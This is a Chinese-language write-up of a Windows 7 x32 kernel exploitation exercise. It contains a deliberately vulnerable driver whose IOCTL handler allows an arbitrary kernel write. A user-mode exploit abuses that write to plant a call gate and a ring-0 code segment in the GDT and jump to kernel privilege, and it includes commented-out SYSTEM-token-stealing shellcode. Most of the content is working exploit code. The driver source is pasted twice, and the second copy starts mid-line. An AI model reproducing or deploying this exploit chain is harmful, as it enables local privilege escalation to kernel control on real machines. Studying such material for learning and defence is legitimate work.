环境为win7 x32 单核
下面带有漏洞的代码(对书中原来代码做了小小修改不过影响可以忽略不计)
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\MyDevice"//设备路径
#define DEVICE_LINK L"\\??\\device" //符号链接
//设备类型/设备扩展对象的大小/哪一种io方式//访问权限
#define OPER1 CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_NEITHER,FILE_ANY_ACCESS)//状态控制码
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject, IN PIRP pIrp)
{
PIO_STACK_LOCATION pIrpStack;//pIrp 设备栈中的每层驱动对应的IO_STACK_LOCATION结构
PVOID Type3InputBuffer;// r3输入的缓冲区
PVOID UserBuffer;// r3输出缓冲区
ULONG inputBufferLength;// 输入长度
ULONG outputBufferLength;// 输出长度
ULONG ioControlCode;//DeviceIoControl
PIO_STATUS_BLOCK IoStatus;//表示IRP完成状态
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer; //用户输入缓冲区
DbgPrint("Type3InputBuffer=%x \r\n", Type3InputBuffer);
//获取缓冲区传送方式 其实设备创建的时候已经设被置好了
//if (pIrp->MdlAddress != NULL)
//{
// UserBuffer = (PVOID)MmGetSystemAddressForMdlSafe(pIrp->MdlAddress, NormalPagePriority);//直接缓冲区方式
//
//}
//else
//{
UserBuffer = (PVOID)pIrp->UserBuffer;//默认缓冲区方式
DbgPrint("UserBuffer=%p,", UserBuffer);
//}
//if (UserBuffer = NULL)//拷贝缓冲区方式
//{
// UserBuffer = (PVOID)pIrp->AssociatedIrp.SystemBuffer;
//}
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;// 输入长度
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;// 输出长度
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;//用户的控制码
IoStatus = &pIrp->IoStatus;//获取irp状态
IoStatus->Information = 0;// 如果是数据传输请求,则将该域设置为传输的字节数
DbgPrint("inputBufferLength=%d \r\n", inputBufferLength);
DbgPrint("OutputBufferLength=%d \r\n", outputBufferLength);
__asm int 3;
//根据控制码执行相应操作
switch (ioControlCode)
{
case OPER1:
if (inputBufferLength >= 4 && outputBufferLength >= 4)//缓冲区溢出 没有判断小于多少
{
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
//r3输入的数据被r0拷贝到r3输出数据缓冲区 那么r3可以将地址设置为内核高地址给内核执行 那么就达到了任意地址写任意数据
//IoStatus->Information = sizeof((ULONG)UserBuffer);// 如果是数据传输请求,则将该域设置为传输的字节数
}
break;
}
NTSTATUS ntStatus = STATUS_SUCCESS;
IoStatus->Status = ntStatus; //表示IRP完成状态
//IoCompleteRequest(pIrp, IO_NO_INCREMENT);//调用方已完成所有I/O请求处理操作,并将给定的 IRP 返回给 I/O 管理器
return ntStatus;
}
VOID DriverUpload(PDRIVER_OBJECT pdriver)
{
UNICODE_STRING symbolLink;
RtlInitUnicodeString(&symbolLink, DEVICE_LINK);//初始化符号连接名
IoDeleteSymbolicLink(&symbolLink);//卸载符号链接
IoDeleteDevice(pdriver->DeviceObject);//卸载设备
DbgPrint("卸载成功\n");
}
NTSTATUS IrpCreateProc(_In_ struct _DEVICE_OBJECT *DeviceObject, _Inout_ struct _IRP *Irp)
{
DbgPrint("DispatchCreate ... \n");
//返回状态如果不设置 Ring3返回的是失败
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS IrpCloseProc(_In_ struct _DEVICE_OBJECT *DeviceObject, _Inout_ struct _IRP *Irp)
{
DbgPrint("DispatchClose ... \n");
//返回状态如果不设置 Ring3返回的是失败
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pdriver, PUNICODE_STRING pReg)
{
//创建设备
UNICODE_STRING deviceName;
PDEVICE_OBJECT pDeviceObj = NULL;
NTSTATUS status = 0;
UNICODE_STRING symbolLink;
RtlInitUnicodeString(&deviceName, DEVICE_NAME);
//初始化设备名称
//创建设备 驱动程序对象/设备扩展对象的大小/文件类型设备/设备特征信息/设置设备非独占/设备对象指针
status = IoCreateDevice(pdriver, 0, &deviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, TRUE, &pDeviceObj);
if (!NT_SUCCESS(status))
{
DbgPrint("创建设备失败! \r\n");
return status;
}
pDeviceObj->Flags |= DO_BUFFERED_IO;//数据传输方式
RtlInitUnicodeString(&symbolLink, DEVICE_LINK);//初始化符号链接名称
status = IoCreateSymbolicLink(&symbolLink, &deviceName);//创建符号链接
if (!NT_SUCCESS(status))
{
IoDeleteDevice(pDeviceObj);
DbgPrint("创建链接失败! \r\n");
return status;
}
pDeviceObj->Flags |= METHOD_NEITHER;
//设置 卸载函数和分发函数
pdriver->DriverUnload = DriverUpload;
pdriver->MajorFunction[IRP_MJ_CREATE] = IrpCreateProc;
pdriver->MajorFunction[IRP_MJ_CLOSE] = IrpCloseProc;
pdriver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DrvDispatch;
return STATUS_SUCCESS;
}
PagePriority);//直接缓冲区方式
}
else
{
UserBuffer = (PUCHAR)pIrp->UserBuffer;//默认缓冲区方式
}
if (UserBuffer = NULL)//拷贝缓冲区方式
{
UserBuffer = (PUCHAR)pIrp->AssociatedIrp.SystemBuffer;
}
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;// 输入长度
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;// 输出长度
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;//用户的控制码
IoStatus = &pIrp->IoStatus;//获取irp状态
IoStatus->Information = 0;// 如果是数据传输请求,则将该域设置为传输的字节数
//ioControlCode
switch (ioControlCode)
{
case OPER1:
if (inputBufferLength >= 4 && outputBufferLength >= 4)//缓冲区溢出 没有判断小于多少
{
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
//r3输入的数据被r0拷贝到r3输出数据缓冲区 那么r3可以将地址设置为内核高地址给内核执行 那么就达到了任意地址写任意数据
//IoStatus->Information = sizeof((ULONG)UserBuffer);// 如果是数据传输请求,则将该域设置为传输的字节数
}
break;
}
NTSTATUS ntStatus = STATUS_SUCCESS;
IoStatus->Status = ntStatus; //表示IRP完成状态
//IoCompleteRequest(pIrp, IO_NO_INCREMENT);//调用方已完成所有I/O请求处理操作,并将给定的 IRP 返回给 I/O 管理器
return ntStatus;
}
VOID DriverUpload(PDRIVER_OBJECT pdriver)
{
UNICODE_STRING symbolLink;
RtlInitUnicodeString(&symbolLink, DEVICE_LINK);//初始化符号连接名
IoDeleteSymbolicLink(&symbolLink);//卸载符号链接
IoDeleteDevice(pdriver->DeviceObject);//卸载设备
DbgPrint("卸载成功\n");
}
NTSTATUS IrpCreateProc(_In_ struct _DEVICE_OBJECT *DeviceObject, _Inout_ struct _IRP *Irp)
{
DbgPrint("DispatchCreate ... \n");
//返回状态如果不设置 Ring3返回的是失败
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS IrpCloseProc(_In_ struct _DEVICE_OBJECT *DeviceObject, _Inout_ struct _IRP *Irp)
{
DbgPrint("DispatchClose ... \n");
//返回状态如果不设置 Ring3返回的是失败
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pdriver, PUNICODE_STRING pReg)
{
//创建设备
UNICODE_STRING deviceName;
PDEVICE_OBJECT pDeviceObj = NULL;
NTSTATUS status = 0;
UNICODE_STRING symbolLink;
RtlInitUnicodeString(&deviceName, DEVICE_NAME);
//初始化设备名称
//创建设备 驱动程序对象/设备扩展对象的大小/文件类型设备/设备特征信息/设置设备非独占/设备对象指针
status = IoCreateDevice(pdriver, 0, &deviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, TRUE, &pDeviceObj);
if (!NT_SUCCESS(status))
{
DbgPrint("创建设备失败! \r\n");
return status;
}
pDeviceObj->Flags |= DO_BUFFERED_IO;//数据传输方式
RtlInitUnicodeString(&symbolLink, DEVICE_LINK);//初始化符号链接名称
status = IoCreateSymbolicLink(&symbolLink, &deviceName);//创建符号链接
if (!NT_SUCCESS(status))
{
IoDeleteDevice(pDeviceObj);
DbgPrint("创建链接失败! \r\n");
return status;
}
pDeviceObj->Flags |= METHOD_NEITHER;
//设置 卸载函数和分发函数
pdriver->DriverUnload = DriverUpload;
pdriver->MajorFunction[IRP_MJ_CREATE] = IrpCreateProc;
pdriver->MajorFunction[IRP_MJ_CLOSE] = IrpCloseProc;
pdriver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DrvDispatch;
return STATUS_SUCCESS;
}
利用方式
**缓冲区溢出利用
因为开了gs 所以这种方式难度大 有兴趣的朋友可以试试 奥利给
方式1
haldispatch是内核模块hal.dll导出的一张函数表 (这不重要)
我们这个要把表里面第2个函数的首地址改为0 然后把shellcode写进去
再调用即完成利用
为什么要选这个函数?因为这个函数特别冷门
如图所示
弄了一天以失败告终 后面有代码
原因:获取不到ntoskrnl.exe里的内核函数地址 R3代码没有对该内存区域的访问权限
所以是一直没法加载内核模块到进程
方式二
不管三七二十一 既然有漏洞先利用调用门提权到R0提权再说 因为R3权限太小了
如图所示
调用门和代码段描述符结构
调用门原理
修改后后如图所示
至此利用成功 恢复各种hook我就懒得写了…
至于书中的system的提权 我还是去写了一道 但是还是失败了 总结了下
因为xp和win7的一些内核结构体不一样所以一些汇编偏移不一样
不过大致思想都一样
虽然内核提权成功了 但是fs寄存器依然是3环的3b 我试过强行修改fs寄存器但不知道为啥修改后操作系统就挂掉了 然后获取kpcr结构的途中又有坑 (VISTA/WIN7下kpcr直接全部随机地址化了,第一个核也不是ffdff000 )。。。
所以我在应用层无法获取kpcr结构的地址,地址已经随机化了 知道方法的大哥望告知一二
exe代码
#include <windows.h>
#include <stdio.h>
#include<ntstatus.h>
//typedef struct _UNICODE_STRING {
// USHORT Length;
// USHORT MaximumLength;
// PWSTR Buffer;
//} UNICODE_STRING,*PUNICODE_STRING;
//定义状态控制码 参数:设备类型/设备扩展对象的大小/哪一种io方式(默认方式)//访问权限
#define OPER1 CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_NEITHER,FILE_ANY_ACCESS)
#define SYMBOLICLINK_NAME L"\\\\.\\device" //符号链接
//typedef enum _SYSTEM_INFORMATION_CLASS {
// SystemBasicInformation,// 0 Y N
// SystemProcessorInformation,// 1 Y N
// SystemPerformanceInformation,// 2 Y N
// SystemTimeOfDayInformation,// 3 Y N
// SystemNotImplemented1,// 4 Y N // SystemPathInformation
// SystemProcessesAndThreadsInformation,// 5 Y N
// SystemCallCounts,// 6 Y N
// SystemConfigurationInformation,// 7 Y N
// SystemProcessorTimes,// 8 Y N
// SystemGlobalFlag,// 9 Y Y
// SystemNotImplemented2,// 10 YN // SystemCallTimeInformation
// SystemModuleInformation,// 11 YN
// SystemLockInformation,// 12 YN
// SystemNotImplemented3,// 13 YN // SystemStackTraceInformation
// SystemNotImplemented4,// 14 YN // SystemPagedPoolInformation
// SystemNotImplemented5,// 15 YN // SystemNonPagedPoolInformation
// SystemHandleInformation,// 16 YN
// SystemObjectInformation,// 17 YN
// SystemPagefileInformation,// 18 YN
// SystemInstructionEmulationCounts,// 19 YN
// SystemInvalidInfoClass1,// 20
// SystemCacheInformation,// 21 YY
// SystemPoolTagInformation,// 22 YN
// SystemProcessorStatistics,// 23 YN
// SystemDpcInformation,// 24 YY
// SystemNotImplemented6,// 25 YN // SystemFullMemoryInformation
// SystemLoadImage,// 26 NY // SystemLoadGdiDriverInformation
// SystemUnloadImage,// 27 NY
// SystemTimeAdjustment,// 28 YY
// SystemNotImplemented7,// 29 YN // SystemSummaryMemoryInformation
// SystemNotImplemented8,// 30 YN // SystemNextEventIdInformation
// SystemNotImplemented9,// 31 YN // SystemEventIdsInformation
// SystemCrashDumpInformation,// 32 YN
// SystemExceptionInformation,// 33 YN
// SystemCrashDumpStateInformation,// 34 YY/N
// SystemKernelDebuggerInformation,// 35 YN
// SystemContextSwitchInformation,// 36 YN
// SystemRegistryQuotaInformation,// 37 YY
// SystemLoadAndCallImage,// 38 NY // SystemExtendServiceTableInformation
// SystemPrioritySeparation,// 39 NY
// SystemNotImplemented10,// 40 YN // SystemPlugPlayBusInformation
// SystemNotImplemented11,// 41 YN // SystemDockInformation
// SystemInvalidInfoClass2,// 42 // SystemPowerInformation
// SystemInvalidInfoClass3,// 43 // SystemProcessorSpeedInformation
// SystemTimeZoneInformation,// 44 YN
// SystemLookasideInformation,// 45 YN
// SystemSetTimeSlipEvent,// 46 NY
// SystemCreateSession,// 47 NY
// SystemDeleteSession,// 48 NY
// SystemInvalidInfoClass4,// 49
// SystemRangeStartInformation,// 50 YN
// SystemVerifierInformation,// 51 YY
// SystemAddVerifier,// 52 NY
// SystemSessionProcessesInformation// 53 YN
//} SYSTEM_INFORMATION_CLASS;//微软未导出枚举类型
//参数 SystemInformationClass 系统信息类别,我们要找模块信息(其宏定义为11),
//参数 SystemInformation 存储返回结果信息的缓冲区
//参数 SystemInformationLength 分配缓冲区的大小
//参数 ReturnLength 实际返回消息的大小
//typedef NTSTATUS(*_ZwQuerySystemInformation)(
// SYSTEM_INFORMATION_CLASS SystemInformationClass,
// PVOID SystemInformation,
// ULONG SystemInformationLength,
// PULONG ReturnLength
//);
//
//_ZwQuerySystemInformation ZwQuerySystemInformation;
//
//
////参数 PathToFile, 整数型 给0也可以
////参数 Flags, 整数型, 直接给0
////参数 ModuleFileName, UNICODE_STRING
////参数 ModuleHandle, 整数型, 成功载入后返回句柄
//
//typedef NTSTATUS(NTAPI *fLdrLoadDll)(PCWSTR SearchPath, PULONG DllCharacteristics,
// PUNICODE_STRING DllName, PVOID *BaseAddress);
//fLdrLoadDll LdrLoadDll;
//
////初始化字符串
//typedef NTSTATUS(NTAPI *RtlInitUnicodeString)(
// _Out_ PUNICODE_STRING DestinationString,
// _In_opt_z_ __drv_aliasesMem PCWSTR SourceString
//);
//RtlInitUnicodeString FRtlInitUnicodeString;
////char转uncodestring
//typedef NTSTATUS(NTAPI *RtlCreateUnicodeStringFromAsciiz)(OUT PUNICODE_STRING DestinationString,IN PUCHAR SourceString);
//RtlCreateUnicodeStringFromAsciiz FRtlCreateUnicodeStringFromAsciiz;
//
//typedef struct _SYSTEM_MODULE_INFORMATION // 模块信息结构体
//{
// ULONG Reserved[2];
// PVOID Base;//基地址
// ULONG Size;//模块大小
// ULONG Flags;
// USHORT Index;
// USHORT Unknown;
// USHORT LoadCount;//引用次数
// USHORT ModuleNameOffset;//路径名离模块名的偏移
// CHAR ImageName[256];//路径名
//} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
HANDLE g_hDriver; //驱动句柄
//与驱动通信的函数
void WriteDev(PVOID Address,
DWORD Value)
{
DWORD dw;
//驱动句柄/操作码/输入缓冲区地址/输入缓存区长度/输出缓冲区地址/输出缓冲区长度/返回长度/指向OVERLAPPED 此处为NULL
DeviceIoControl(g_hDriver, OPER1, &Value, sizeof(Value), (PVOID)Address, sizeof(Address), &dw, NULL);
}
int main() {
char gdt[6];
ULONG gdtaddr;
USHORT gdtlimit;
//获取全局描述符表地址 多核下需要设置线程只绑定一个cpu
_asm sgdt gdt;
gdtaddr = *(ULONG *)(&gdt[2]);
gdtlimit = *(USHORT *)(&gdt[0]);
printf("GDT Base: %08X\n", gdtaddr);
printf("GDT Limit: %04X\n", gdtlimit);
//在3环获取驱动句柄
TCHAR szBuffer[10] = { 0 };
//1. 通过符号连接 打开设备 //访问模式(写/读)/共享模式/指向安全属性的指针/如何创建/文件属性 /用于复制文件句柄
g_hDriver = CreateFile(SYMBOLICLINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (g_hDriver != INVALID_HANDLE_VALUE)
printf("打开设备成功");
else {
getchar();
printf("打开设备失败");
//return FALSE;
}
//首先向GDT的0偏移处, 写入retn指令
WriteDev((PVOID)gdtaddr,
0xc3);
//然后指令偏移指向上面写入的retn
//段标志指向自己创建的段选择子
//组合一个调用门描述符
WORD callGate[4]; //64位
//在调用门描述符中,定义了 目标过程所在代码段的选择子,以及 段内偏移量
//指令偏移指向上面写入的retn
//段标志指向自己创建的段选择子
//段选择器指定了要使用的段(即基址和长度值),而 段内偏移量 组件则指定了实际内存位置相对于基址的偏移量
callGate[0] = (WORD)(gdtaddr & 0x0000FFFF); //0到15位段内偏移量
//重点来了 通过这个才能找到执行的段 也就是另外一个代码段的段选择子
//代码段的段选择子的base 也就是下面加上调用门的基地址才是要执行的位置
//16到31位 列成所在代码段的段选择子 也就是cs,ds,es,ss,fs,gs段寄存器的后两位
//段选择子格式 1和2位是RPl 对于非一致代码段要求CPL=DPL,RPL<=DPL
//cpl当前代码的执行权限 也就是cs的后两位
//dpl放在段描述符中 描述了访问本段所需要的权限
//rpl存在段选择子中 描述了访问者使用啥权限对目标进行访问
//1和2位 RPL 描述了访问者使用啥权限对目标进行访问
//3位TI 0是找GDT表 1是找LDT表
//4到16位是表下标 因为两张表是一个数组 通过下标才能去访问段描述符
callGate[1] = 0x068; //拆成二进制 000000001101 000
//下标 rpl
//32到47位
//1到5位 参数个数 678位默认0 9到12位type 十进制12为调用门
//13位默认0 14和15位是dpl 描述访问本段需要的权限
//16位是P位描述 段描述符是否有效
callGate[2] = 0xec00;//拆成二进制 1 11 0 1100 000 00000
// p dpl type 参数
//48到64位 段内偏移量
callGate[3] =(WORD)(gdtaddr >> 16); //指令偏移
//组合一个段描述符 段选择符有八个字节也就是64位 00cf9a00 0000ffff
BYTE segment[8];
//0到15位 段限长 //如果g位是1 段限长的单位是字节 否则单位为4kb
segment[0] = 0xff; // 段限长4G
segment[1] = 0xff;
segment[2] = 0x00; //16到31位 段基址范围为0到4GB 描述了一个段的起始位置
segment[3] = 0x00; //段基址0x00000000
segment[4] = 0x00; //32到39位 段基地址
// 40到47位
//其中1到4位是type位 5位为s位 6和7位dpl位 8位为p位
// type位的值是 十进制0到7时候 数据段
// 8到11的时候则是非一致代码段
// 12到15的时候是一致代码段 权限不会改变
// s位是0则代表这是系统段 为1则是数据段或者代码段
// dpl位描述了访问本段所需要的权限
// p位描述为1 则段描述符有效 为0则无效
segment[5] = 0x9a;//拆成二进制 1 00 1 1010
// p dpl s type
//48到55位 这里的结构数据段和代码段结构意思不一样 我只描述代码段
//其中1到4位是段限长 5位为a位 6位l位 7位d位 8位g位
//a位描述是否被操作系统访问过 0 没访问 1 访问
//l是保留位 给64位处理器使用
//d是默认操作数大小 0代表16位地址 1代表32位地址
//描述段限长单位 0是字节 1是kb
segment[6] = 0xcf;// 拆成二进制 1 0 1 1 1111
// g d l a 段限长
segment[7] = 0x00; //57到64位 段基地址
//将调用门和段选择子依次写入GDT
WriteDev((LPVOID)(gdtaddr + 0x60),
*(DWORD*)callGate);
WriteDev((LPVOID)(gdtaddr + 0x64),
*((DWORD*)callGate + 1));
WriteDev((LPVOID)(gdtaddr + 0x68),
*(DWORD*)segment);
WriteDev((LPVOID)(gdtaddr + 0x6c),
*((DWORD*)segment + 1));
//提权
WORD farJmp[3];
DWORD oldCs;
farJmp[0] = 0;
farJmp[1] = 0;
farJmp[2] = 0x60;
__asm
{
call fword ptr[farJmp]; //跳转到调用门
//这里R0会执行我们写入的retn
mov eax, [esp]; //保存返回地址
mov oldCs, eax;
add esp, 4
int 3;
//提权到 SYSTEM
//pushad;
////每个CPU都有个KPCR结构
//mov eax, dword ptr fs:[0x124];//拿到自己当前的线程结构kthread //WIN7会蓝屏 在驱动就不会
// //+0x050 ActiveProcessors : _KAFFINITY_EX
//mov esi, [eax+0x50];//拿到_KAPC_state下的进程结构体kprocess
//mov eax, esi //拿到_KAPC_state下的进程结构体kprocess
//searchXp :
//mov eax, [eax + 0xb8] //0b8 ActiveProcessLinks : _LIST_ENTRY
//sub eax, 0xb8 //获取进程链表中下一个进程的 PEPROCESS
////+ 0x0b4 UniqueProcessId :
//mov edx, [eax + 0xb4] //获取该进程的 pid 到 edx
//cmp edx, 0x4 //通过 PID 查找 SYSTEM 进程
//jne searchXp
////+0x0f8 Token : _EX_FAST_REF
//mov eax, [eax + 0xf8] //获取 system 进程的 token
//mov[esi + 0xf8], eax //修改当前进程的 token
//popad
}
//已经到R0了。
*(DWORD*)(0x80b950b0) = 0x11111111; //改一下内核空间看是否能成功
//返回R3
__asm {
mov eax, oldCs;
push eax;
mov eax, JmpToR3;
push eax;
retf;
}
JmpToR3:
__asm nop;
//下面是一次失败的利用 按照书上 获取ntoskrnl中的函数地址获取不到
//NTSTATUS NtStatus = CMC_STATUS_SUCCESS;
//ULONG ReturnLength = 0;//实际返回消息的大小
//ULONG ImageBase = 0; //hal.dll的基地址
//ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
//PVOID HalDispatchTable = NULL;//HalDispatchTableImage基地址
//PVOID xHalQuerySystemInformation = NULL;//冷门函数地址
//UNICODE_STRING DllName;//模块的名字
//PSYSTEM_MODULE_INFORMATION ModuleInformation = NULL;////第二个参数 存储返回结果信息的缓冲区
//HMODULE hDll = GetModuleHandle(L"ntdll.dll");//获取ntdll模块句柄
//// 获取 LdrLoadDll 函数地址
//LdrLoadDll = (fLdrLoadDll)GetProcAddress(hDll, "LdrLoadDll");
// //获取 ZwQuerySystemInformation 函数地址
//ZwQuerySystemInformation = (_ZwQuerySystemInformation)GetProcAddress(hDll, "ZwQuerySystemInformation");
//
//UCHAR ImageName[256] = { 0 };
//hDll = GetModuleHandle(L"ntoskrnl.exe");//获取ntoskrnl.exe模块句柄
//FRtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(hDll, "RtlInitUnicodeString");
////获取 RtlCreateUnicodeStringFromAsciiz 函数地址
//FRtlCreateUnicodeStringFromAsciiz = (RtlCreateUnicodeStringFromAsciiz)GetProcAddress(hDll, "RtlCreateUnicodeStringFromAsciiz");
////获取内核模块的 UnicodeString
//FRtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);
//ULONG n=0;
////第1次 ZwQuerySystemInformation() 调用目的是探测所需的 buffer 空间,第2次调用是获取模块信息。
//ZwQuerySystemInformation(SystemModuleInformation, 0, 0, &n);
//PULONG p= new ULONG[n];
//ZwQuerySystemInformation(SystemModuleInformation, p, n, 0);
//ModuleInformation = PSYSTEM_MODULE_INFORMATION(p + 1);
////遍历系统内核信息
//PVOID MappedBase = NULL;
//for (ULONG i=0;i<*p;i++)
//{
// //第一个内核模块就是ntoskrnl.exe
// ImageBase = (ULONG)ModuleInformation[i].Base;
// //HRESULT hr = LdrLoadDll(ModuleInformation[i].ImageName + ModuleInformation[i].ModuleNameOffset, 0, &DllName, &MappedBase);
// RtlMoveMemory(ImageName, (PVOID)(ModuleInformation[i].ImageName + ModuleInformation[i].ModuleNameOffset), 256);
// break;
// //printf("%s\n", ModuleInformation[i].ImageName);
//}
////释放存放内核模块列表的内存
//delete[]p;
//
//HRESULT hr=LdrLoadDll(0, &DllCharacteristics, &DllName, &MappedBase);
//if (hr != S_OK)
//{
// printf("载入dll失败");
// return 0;
//}
////获取 HalDispatchTable 函数表地址
//HalDispatchTable = GetProcAddress((HMODULE)MappedBase, "HalDispatchTable");
//HalDispatchTable = (PVOID)((ULONG)HalDispatchTable -
// (ULONG)MappedBase + ImageBase);
////获取冷门函数地址
//xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable +sizeof(ULONG));
//printf("%p", xHalQuerySystemInformation);
//3. 关闭设备
CloseHandle(g_hDriver);
getchar();
return 0;
}